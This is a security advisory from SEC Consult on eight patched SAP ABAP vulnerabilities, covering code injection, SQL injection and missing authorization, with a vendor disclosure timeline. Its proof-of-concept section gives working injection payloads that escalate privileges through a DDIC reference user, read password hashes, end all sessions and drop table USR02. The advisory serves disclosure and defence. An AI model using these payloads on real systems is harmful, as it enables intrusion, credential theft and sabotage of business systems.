SAP Application Server ABAP / ABAP Platform Code Injection / SQL Injection / Missing Authorization

SAP Application Server ABAP / ABAP Platform Code Injection / SQL Injection / Missing Authorization

SEC Consult Vulnerability Lab Security Advisory < 20220518-0 >=======================================================================               title: Multiple Critical Vulnerabilities             product: SAP® Application Server                      ABAP and ABAP® Platform (Different Software Components)  vulnerable version: see section "Vulnerable /  tested versions"       fixed version: see SAP security notes 2958563, 2973735,                      2993132, 2986980, 2999854, 3002517, 3048657          CVE number: CVE-2020-6318, CVE-2020-26808, CVE-2020-26832,                      CVE-2021-21465, CVE-2021-21468, CVE-2021-21466,                      CVE-2021-21473, CVE-2021-33678              impact: critical            homepage: https://www.sap.com               found: 08/2020 - 02/2021                  by: Fabian Hagg (Office Vienna)                      Alexander Meier (Office Berlin)                      SEC Consult Vulnerability Lab                      An integrated part of SEC Consult, an Atos company                      Europe | Asia | North America                      https://www.sec-consult.com=======================================================================Vendor description:-------------------"SAP is a market share leader in enterprise resource planning (ERP),analytics, supply chain management, human capital management, masterdata management, data integration as well as in experience management"[1]. Customers comprise 92% of the Forbes Global 2000 companies and98% of the 100 most valued brands. 77% of the world’s transaction revenuetouches an SAP system [1, 2]."SAP NetWeaver Application Server for ABAP (AS ABAP) is a platform onwhich important business processes run. It provides a complete developmentand runtime environment for ABAP-based applications. The purpose of AS ABAPis to provide programmers with an efficient means of expressing businesslogic and relieve them from the necessity of platform-related and purelytechnical coding. AS ABAP is therefore a basis for all ABAP systems" [3]."The [successor] ABAP platform provides a reliable and scalable serverand programming environment for modern ABAP development [...]. The ABAPplatform offers support for SAP HANA and SAP Fiori and allows developersto efficiently build enterprise software that meets the requirements oftheir business scenarios – on-premise as well as in the cloud" [4].[1] https://www.sap.com/about/company.html[2] https://www.sap.com/documents/2017/04/4666ecdd-b67c-0010-82c7-eda71     af511fa.html[3] https://help.sap.com/viewer/ff18034f08af4d7bb33894c2047c3b71/7.52.5/     en-US/797de8aa42e24916953c4bb3d983662d.html[4] https://developers.sap.com/topics/abap-platform.htmlBusiness recommendation:------------------------By exploiting the vulnerabilities documented in this advisory, privilegedattackers can take complete control of affected application servers. Thus,successful exploitation can enable fraud, sabotage or data theft whileaffecting confidentiality, integrity, and availability of business data.SEC Consult recommends to implement security notes 2958563, 2973735,2993132, 2986980, 2999854, 3002517, 3048657 where the documented issuesare fixed according to the vendor. We advise installing the correctionsas a matter of priority to keep business-critical data secured.Vulnerability overview/description:-----------------------------------Advanced Business Application Programming (ABAP)® is a proprietaryprogramming language by SAP SE. In common with every other programminglanguage, ABAP can be susceptible to software vulnerabilities rangingfrom missing or improper authorization checks to inadequate inputvalidation and output sanitization. Of particular concern are injectionvulnerabilities, which can jeopardize the overall system security.Remote Function Call (RFC) is a proprietary network protocol by SAP SE.Comparable to application programming interfaces (APIs), SAP systemscome with thousands of built-in function modules implemented in ABAP. RFCallows remote-enabled functions to be accessed via the network. This makesit possible to decentralize business applications even across systemboundaries. External programs and external clients can make use of RFCconnections to interact with an SAP system via libraries (e.g. NW RFC SDK)provisioned by SAP SE.This advisory covers multiple critical vulnerabilities discovered inthe ABAP® coding of standard function modules. These are part of differentsoftware components that build upon the bedrock products SAP® ApplicationServer ABAP and ABAP® Platform.1) [CVE-2020-6318] Code Injection Vulnerability in SAP NetWeaver    (ABAP Server) and ABAP Platform    Function modules RSDU_LIST_DB_TABLE_SYB and RSDU_LIST_DB_TABLE_DB4    of function groups RSDU_UTIL_SYB and RSDU_CORE_UTIL_DB4 are vulnerable    to ABAP code injection bugs allowing to execute arbitrary ABAP    code. Successful exploitation leads to full system compromise.2) [CVE-2020-26808] Code Injection Vulnerability in SAP AS ABAP    and S/4 HANA (DMIS)    Function module CNV_MBT_SEL_STRING_RETURN of function group    CNV_MBT_SEL is vulnerable to an ABAP code injection bug allowing to    embed arbitrary code into the ABAP Repository. An attacker can abuse    this bug by invoking the function remotely via the RFC protocol.    Successful exploitation leads to full system compromise.3) [CVE-2020-26832] Missing Authorization Check in SAP NetWeaver    AS ABAP and SAP S4 HANA (SAP Landscape Transformation)    Function module CNV_GET_USERS_FOR_APP_SERVER of function group    CNV_00001_HELP does not perform any programmatically implemented    authorization check. An attacker can abuse this bug by invoking    the function remotely via the RFC protocol. Successful exploitation    allows to retrieve internal information and to make a targeted SAP    system completely unavailable to its intended users. The latter    is to be considered as a Denial of Service (DoS) attack.4) [CVE-2021-21468] Missing Authorization Check in SAP Business    Warehouse (Database Interface)    Function module RSDL_DB_GET_DATA_BWS of function group RSDL does    not perform any programmatically implemented authorization check.    An attacker can abuse this bug by invoking the function remotely    via the RFC protocol. Successful exploitation allows to read out    the entire database including cross-client data access.5) [CVE-2021-21465] Native SQL Injection Vulnerability in SAP    Business Warehouse (Database Interface)    Function module RSDL_DB_GET_DATA_BWS of function group RSDL is    vulnerable to a native SQL injection (ADBC) bug allowing to execute    arbitrary SQL commands at database level. An attacker can abuse    this bug by invoking the function remotely via the RFC protocol.    Successful exploitation leads to full system compromise.6) [CVE-2021-21466] Code Injection Vulnerability in SAP Business    Warehouse and SAP BW/4HANA    Function module RSDRI_DF_TEXT_READ of function group RSDRI_DF_FACADE    is vulnerable to an ABAP code injection bug allowing to embed    arbitrary code into the ABAP Repository. An attacker can abuse this    bug by invoking the function remotely via the RFC protocol. Successful    exploitation leads to full system compromise.7) [CVE-2021-21473] Missing Authorization Check in SAP NetWeaver AS ABAP    and ABAP Platform    Function module SRM_RFC_SUBMIT_REPORT of function group SRM_REP does not    enforce proper authorization checks for critical use of a dynamic program    call. An attacker can abuse this bug by invoking the function remotely    via the RFC protocol. Successful exploitation allows an attacker to    execute existing ABAP reports without holding sufficient authorizations.8) [CVE-2021-33678] Code Injection vulnerability in SAP NetWeaver AS ABAP    (Reconciliation Framework)    Function module CONVERT_FROM_CHAR_SORT_RFW of function group FG_RFW contains    a code injection vulnerability with a limited exploitation primitive. An    attacker can abuse this bug to delete critical system tables (e.g. USR02),    making the targeted SAP system completely unavailable to its intended users.Proof of concept:-----------------1) [CVE-2020-6318] Code Injection Vulnerability in SAP NetWeaver    (ABAP Server) and ABAP Platform    The vulnerable functions make use of the GENERATE SUBROUTINE POOL    instruction by providing source code that is created dynamically    using untrusted user input. As there is no input validation or    output sanitization, an attacker can inject malicious ABAP code    through specific import parameters. This code gets executed on the    fly by the application server in the course of execution of the    functions.    The following payload exploits the bug to escalate privileges via    reference user assignment:    Import Parameter:        I_TABLNM    Value:                   USR02    Import Table: I_T_SELECT_FIELDS     ╒═══════════════════════════════════════════════════════════════╕     │ RSD_FIELDNM                                                   │     ╞═══════════════════════════════════════════════════════════════╡     │ BNAME                                                         │     ╘═══════════════════════════════════════════════════════════════╛    Import Table: I_T_WHERE_COND     ╒═══════════╤══════╤════════════════════════════════════════════╕     │ FIELDNM   │ OP   │ LOW                                        │     ╞═══════════╪══════╪════════════════════════════════════════════╡     │ BNAME     │ EQ   │ S'ENDEXEC. EXEC SQL.UPDATE USREFUS SET     │     │           │      │ REFUSER = 'DDIC' WHERE BNAME = 'ATTACKER   │     ╘═══════════╧══════╧════════════════════════════════════════════╛2) [CVE-2020-26808] Code Injection Vulnerability in SAP AS ABAP    and S/4 HANA (DMIS)    The vulnerable function makes use of the INSERT REPORT instruction    by providing source code that is created dynamically using untrusted    user input. As there is no input validation or output sanitization,    an attacker can inject malicious ABAP code through specific import    parameters. Inserted code may be executed by chaining this bug with    CVE-2021-21473.    The following payload exploits the bug to escalate privileges via    reference user assignment:    Import Parameter:    TABNAME    Value:               USR02    Import Table: IMT_SELSTRING     ╒══════════════════════════════════════════════════════════════╕     │ LINE                                                         │     ╞══════════════════════════════════════════════════════════════╡     │ BNAME = 'TEST'. ENDSELECT.                                   │     ├──────────────────────────────────────────────────────────────┤     │ UPDATE USREFUS SET REFUSER = 'DDIC' WHERE BNAME = 'ATTACKER' │     ├──────────────────────────────────────────────────────────────┤     │ SELECT * FROM USR02                                          │     ╘══════════════════════════════════════════════════════════════╛3) [CVE-2020-26832] Missing Authorization Check in SAP NetWeaver    AS ABAP and SAP S4 HANA (SAP Landscape Transformation)    The vulnerable function does not perform any explicit authorization    check. Depending on a specific import parameter, the function leaks    active logon sessions (opcode 02) or terminates all active logon    sessions (opcode 25) by kernel call 'ThUsrInfo'. Invoking the function    periodically prevents users from logging into the application server.    The following payload exploits the bug to trigger the information    disclosure and enumerate active user sessions:    Import Parameter:  MODE    Value:               1    The following payload exploits the bug to terminate all active user    sessions:    Import Parameter:  MODE    Value:               24) [CVE-2021-21468] Missing Authorization Check in SAP Business    Warehouse (Database Interface)    The vulnerable function does not perform any explicit authorization    check. It uses predefined classes and methods from the ABAP Database    Connectivity (ADBC) framework to execute native SQL queries at database    level. Depending on specific import parameters, this allows to read out    arbitrary table data including user master records or secure storages    (e.g. RSECTAB).    The following payload exploits the bug to exfiltrate user password    hashes:    Import Table: I_S_TABSEL     ╒══════════════════════════════════════════════════════════════╕     │ NAME                                                         │     ╞══════════════════════════════════════════════════════════════╡     │ USR02                                                        │     ╘══════════════════════════════════════════════════════════════╛    Import Table: I_S_DBCON     ╒══════════════════════════════════════════════════════════════╕     │ CON_NAME                                                     │     ╞══════════════════════════════════════════════════════════════╡     │ <Database Connection String> (e.g. DEFAULT)                  │     ╘══════════════════════════════════════════════════════════════╛    Import Table: I_T_DBFIELDS     ╒═══════════════╤═════════╤════════════════════════════════════╕     │ NAME          │ TYPE    │   LENGTH                           │     ╞═══════════════╪═════════╪════════════════════════════════════╡     │ BNAME         │ CHAR255 │   000255                           │     ├───────────────┼─────────┼────────────────────────────────────┤     │ PWDSALTEDHASH │ CHAR255 │   000255                           │     ╘══════════════════════════════════════════════════════════════╛5) [CVE-2021-21465] Native SQL Injection Vulnerability in SAP    Business Warehouse (Database Interface)    The vulnerable function does not perform any input validation or    output sanitization on import parameters that can be used to define    conditional SQL statements. This allows to inject arbitrary SQL    commands that get executed natively at database level in the course    of execution of the function.    The following payload exploits the bug to escalate privileges via    reference user assignment:    Import Table: I_S_TABSEL     ╒══════════════════════════════════════════════════════════════╕     │ NAME                                                         │     ╞══════════════════════════════════════════════════════════════╡     │ USR02                                                        │     ╘══════════════════════════════════════════════════════════════╛    Import Table: I_S_DBCON     ╒══════════════════════════════════════════════════════════════╕     │ CON_NAME                                                     │     ╞══════════════════════════════════════════════════════════════╡     │ <Database Connection String> (e.g. DEFAULT)                  │     ╘══════════════════════════════════════════════════════════════╛    Import Table: I_T_DBFIELDS     ╒═══════════════╤═════════╤════════════════════════════════════╕     │ NAME          │ TYPE    │   LENGTH                           │     ╞═══════════════╪═════════╪════════════════════════════════════╡     │ BNAME         │ CHAR255 │   000255                           │     ╘══════════════════════════════════════════════════════════════╛    Import Table: I_T_SELECT     ╒══════════════════════╤════════╤══════════════════════════════╕     │ FIELDNM              │ OPTION │LOW                           │     ╞══════════════════════╪════════╪══════════════════════════════╡     │ BNAME                │ EQ     │'';UPDATE USREFUS SET REFUSER │     │                      │        │='DDIC' WHERE '1              │     ├──────────────────────┼────────┼──────────────────────────────┤     │ ' = '1 AND' AND BNAME│ EQ     │'ATTACKER';                   │     ╘══════════════════════════════════════════════════════════════╛6) [CVE-2021-21466] Code Injection Vulnerability in SAP Business    Warehouse and SAP BW/4HANA    The vulnerable function makes use of the INSERT REPORT instruction    by providing source code that is created dynamically using untrusted    user input. As there is no input validation or output sanitization,    an attacker can inject malicious ABAP code through specific import    parameters. Inserted code may be executed by chaining this bug with    CVE-2021-21473.    The following payload exploits the bug to escalate privileges via    reference user assignment:    Import Parameter:  I_TABLE_NAME    Value:               INJECTION    Import Parameter:  I_DEBUG_SUFFIX    Value:               SAP    Import Table: I_T_RANGE_STRING     ╒═══════════╤═════════════════════════════════════╤════════════╕     │ CHANM     │ LOW                                 │ HIGH       │     ╞═══════════╪═════════════════════════════════════╪════════════╡     │ BNAME     │ '. UPDATE USREFUS SET REFUSER       │ '. EXIT. " │     │           │ = 'DDIC' WHERE BNAME = 'ATTACKER    │            │     ╘═══════════╧═════════════════════════════════════╧════════════╛7) [CVE-2021-21473] Missing Authorization Check in SAP NetWeaver AS ABAP    and ABAP Platform    The vulnerable function uses a dynamically generated program name (based    on data from untrusted sources) in a SUBMIT call. No authorization checks    are programmatically enforced. Thus, a remote, unauthorized attacker can    leverage this function to start any existing ABAP report by providing the    respective report name in the import parameter REPORTNAME.8) [CVE-2021-33678] Code Injection vulnerability in SAP NetWeaver AS ABAP    (Reconciliation Framework)    The vulnerable function makes use of the GENERATE SUBROUTINE POOL instruction    in form 'get_dynamic_fields' by providing source code that is created    dynamically using untrusted user input. As there is no input validation or    output sanitization, an attacker can inject malicious ABAP code through specific    import parameters. These parameters are limited in size due to their variable    type. This restricts an attacker in exploitation scenarios. However, it is still    possible, for example, to delete critical system tables by exploiting this bug.    The following payload exploits the bug to drop table USR02, leading to a complete    loss of availability of the target system:    Import Parameter:  RTABNAME    Value:               X. EXEC SQL. DROP TABLE USR02-    Import Parameter:  RFIELDNAME    Value:               ENDEXECVulnerable / tested versions:-----------------------------All tests were conducted on SAP NetWeaver Application Server ABAP 752 SP04and ABAP Platform 1909. No additional testing on other releases has beencarried out. According to the vendor the following releases and versionsare affected by the discovered vulnerabilities:1) SAP NetWeaver (ABAP Server) and ABAP Platform, Versions    - 700, 701, 702, 710, 711, 730, 731, 740, 750, 751, 752,    753, 754, 755    Components: SAP_BW, SAP_BW_VIRTUAL_COMP2) SAP AS ABAP (DMIS), Versions - 2011_1_620, 2011_1_640,    2011_1_700, 2011_1_710, 2011_1_730, 2011_1_731, 2011_1_752,    2020; SAP S4 HANA(DMIS), Versions - 101, 102, 103, 104, 105    Components: DMIS, S4CORE3) SAP NetWeaver AS ABAP (SAP Landscape Transformation - DMIS),    Versions - 2011_1_620, 2011_1_640, 2011_1_700, 2011_1_710,    2011_1_730, 2011_1_731, 2011_1_752, 2020; SAP S4 HANA    (SAP Landscape Transformation), Versions - 101, 102, 103,    104, 105    Components: DMIS, S4CORE4) SAP Business Warehouse, Versions - 710, 711, 730, 731, 740,    750, 751, 752, 753, 754, 755, 782    Components: SAP_BW, SAP_BW_VIRTUAL_COMP5) SAP Business Warehouse, Versions - 710, 711, 730, 731, 740,    750, 751, 752, 753, 754, 755, 782    Components: SAP_BW, SAP_BW_VIRTUAL_COMP6) SAP Business Warehouse, Versions - 700, 701, 702, 711, 730,    731, 740, 750, 782; SAP BW4HANA, Versions - 100, 200    Components: SAP_BW, DW4CORE7) SAP NetWeaver AS ABAP and ABAP Platform, Versions - 700,    702, 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, 755    Components: SAP_BASIS8) SAP NetWeaver AS ABAP (Reconciliation Framework) - 700, 701,    702, 710, 711, 730, 731, 740, 750, 751, 752, 75A, 75B, 75B,    75C, 75D, 75E, 75F    Components: SAP_ABAVendor contact timeline:------------------------The following timelines have been split for each CVE/vulnerability, as differentcontacts were responsible. All identified vulnerabilities have been fixed by nowby SAP and SEC Consult releases this security advisory adhering to theresponsible disclosure policy.CVE-2020-6318--------------------------------2020-08-12 | Contacting vendor with detailed report through vulnerability              submission web form.2020-08-13 | Vendor confirms receipt and assigns security incident number              #2080354772.2020-08-19 | Vendor confirms vulnerability.2020-08-24 | Vendor informs about patch development strategy.2020-09-07 | Vendor informs about release of the patch, registration of CVE              number and corresponding security note.2020-09-08 | Vendor releases patch with SAP Security Note 2958563.CVE-2020-26808--------------------------------2020-09-24 | Contacting vendor with detailed report through vulnerability              submission web form.2020-09-25 | Vendor confirms receipt and assigns security incident number              #2070354293.2020-10-20 | Contacting vendor to request progress information.2020-10-21 | Vendor confirms vulnerability and states that a fix is in              development.2020-11-09 | Vendor informs about release of the patch, registration of CVE              number and corresponding security note.2020-11-10 | Vendor releases patch with SAP Security Note 2973735.CVE-2020-26832--------------------------------2020-10-23 | Contacting vendor with detailed report through vulnerability              submission web form.2020-10-26 | Vendor confirms receipt and assigns security incident number              #2070432866.2020-11-17 | Vendor confirms vulnerability and proposes CVSS score of 7.6.2020-11-23 | Vendor asks for exploit script shown in the initial report.2020-11-24 | Providing the requested script via encrypted PGP mail.2020-12-07 | Vendor informs about release of the patch, registration of CVE              number and corresponding security note.2020-12-08 | Vendor releases patch with SAP Security Note 2993132.CVE-2021-21465 / CVE-2021-21468--------------------------------2020-10-27 | Contacting vendor with detailed report through vulnerability              submission web form.2020-10-29 | Vendor confirms receipt and assigns separated security incident              numbers #2070446047 and #2070446050.2020-11-06 | Vendor confirms vulnerability and predicts patches to be released              on December Patch Tuesday 2020.2020-11-18 | Vendor confirms that they are still on track for December Patch              Tuesday 2020.2020-12-01 | Vendor informs that patch needs to be postponed to January Patch              Tuesday 2021.2021-01-08 | Vendor informs about release of patches and clarifies that a single              security note will fix both issues. Additional information about              CVSS scores is provided.2021-01-11 | Vendor informs about release of the patches, registration of CVE              numbers and corresponding security note.2021-01-12 | Vendor releases patches with SAP Security Note 2986980.CVE-2021-21466 / CVE-2021-21473--------------------------------2020-11-25 | Contacting vendor with detailed report through vulnerability              submission web form.2020-11-27 | Vendor confirms receipt and assigns security incident number              #2080396648.2021-01-04 | Vendor confirms vulnerability and states that they are working              on a fix. Additional information is provided detailing on that              they will split the reported finding into two separated security              issues and security incident numbers #2080396648 and #2080412695.2021-01-11 | Vendor informs about release of the first patch, registration of CVE              number and corresponding security note.2021-01-11 | Vendor informs about patch release for the first issue. Additional              information is provided describing that a patch for the second issue              is still in development.2021-01-12 | Vendor releases first patch with SAP Security Note 2999854.2021-05-07 | Asking vendor for update regarding the second issue.2021-05-11 | Vendor informs that fix is in progress and note will be released soon.2021-06-07 | Vendor informs about release of the second patch, registration of CVE              number and corresponding security note.2021-06-08 | Vendor releases second patch with SAP Security Note 3002517.CVE-2021-33678--------------------------------2021-02-01 | Contacting vendor with detailed report through vulnerability              submission web form.2021-02-03 | Vendor confirms receipt and assigns security incident number              #2180074995.2021-05-07 | Asking vendor for update.2021-05-11 | Vendor informs that fix is in progress.2021-07-12 | Vendor informs about release of the patch, registration of CVE              number and corresponding security note.2021-07-13 | Vendor releases patch with SAP Security Note 3048657.Solution:---------SAP SE reacted promptly to our findings. Product Security Incident ResponseTeam (PSRT) and engineers released patches in a timely manner for each ofthe reported issues. These patches are available in form of SAP SecurityNotes which can be accessed via the SAP Customer Launchpad [5]. Moreinformation can also be found at the Official SAP Product Security ResponseSpace [6].The following Security Notes need to be implemented:2958563, 2973735, 2993132, 2986980, 2999854, 3002517, 3048657[5] https://launchpad.support.sap.com/#/securitynotes[6] https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+DayWorkaround:-----------NoneAdvisory URL:-------------https://sec-consult.com/vulnerability-lab/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SEC Consult Vulnerability LabSEC Consult, an Atos companyEurope | Asia | North AmericaAbout SEC Consult Vulnerability LabThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, anAtos company. It ensures the continued knowledge gain of SEC Consult in thefield of network and application security to stay ahead of the attacker. TheSEC Consult Vulnerability Lab supports high-quality penetration testing andthe evaluation of new offensive and defensive technologies for our customers.Hence our customers obtain the most current information about vulnerabilitiesand valid recommendation about the risk profile of new technologies.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Interested to work with the experts of SEC Consult?Send us your application https://sec-consult.com/career/Interested in improving your cyber security with the experts of SEC Consult?Contact our local offices https://sec-consult.com/contact/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Mail: security-research at sec-consult dot comWeb: https://www.sec-consult.comBlog: http://blog.sec-consult.comTwitter: https://twitter.com/sec_consultEOF F. Hagg, A. Meier / @2022